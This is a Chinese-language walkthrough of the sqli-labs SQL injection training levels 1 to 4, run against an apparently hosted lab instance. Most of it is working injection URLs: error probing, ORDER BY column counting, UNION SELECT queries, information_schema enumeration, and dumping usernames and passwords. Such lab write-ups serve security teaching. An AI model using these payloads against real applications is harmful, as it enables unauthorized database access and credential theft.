第一关
在id=1后加上'报错回显
http://zcxy.535yx.cn/sqli/Less-1/?id=1'
发现后面句子已闭合,所以这时候我们需要注释掉后面的语句,我们可以利用#或--+使语句正常执行
http://zcxy.535yx.cn/sqli/Less-1/?id=1%27--+
接下来我们利用order by进行查字段数
http://zcxy.535yx.cn/sqli/Less-1/?id=1%27%20order%20by%204%20--+
经查询order by 3 正确 4错误。所以可知这里字段数为3.
接下来我们利用union进行联合查询
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,2,3 --+
这里我们就知道了我们可以在2,3处插入语句来获取我们想获得的信息
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统: @@version_compile_os
数据库路径: @@datadir
如:
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,database(),3 --+
这里就获得了我们数据库用户名字 "1111"。
接下来我们尝试爆数据库为111的表
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='1111'-- +
以上就是我们爆出的数据库表名
接着我们尝试爆users下的列名
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- +
得到user下所有的表
接着我们尝试查询列名为username和password旗下的值
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,username,password from users where id=2--+
那么hxd们可能有疑虑。如果要猜测的列名不止俩个,想一次性猜解该怎么办呢?
我悄悄告诉你们另外一种写法
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users--+
这里的0x3a就是ascii中的 ':' 我们可以利用他来间隔列名下的值。acsii的表值可以去ascii.911cha.com查看
{#%E7%AC%AC%E4%BA%8C%E5%85%B31053}
第二关
开头还是老样子
http://zcxy.535yx.cn/sqli/Less-2/?id=1'
发现报错信息near '' LIMIT 0,1' at line 1 多了一个' 这就说明这关不需要加'
那么我只需要把'删除且后面无需添加--+即可剩下操作与第一关相同。
{#%E7%AC%AC%E4%B8%89%E5%85%B32291}
第三关
?id=1'发现报错提示 near ''1'') LIMIT 0,1' at line 1 可知这里我们需要补上一个)且在语句结尾需要注释掉后面的LIMIT 0,1
所以可构造?id=1') 剩下操作与第一关无异
{#%E7%AC%AC%E5%9B%9B%E5%85%B32465}
第四关
这次在我们利用'测试是否存在注入的时候,发现页面返回正常,经判断后发现可以用 " 报错
near '"1"") LIMIT 0,1' at line 1
所以这里我们只需要?id=1")即可绕过且结尾需加上--+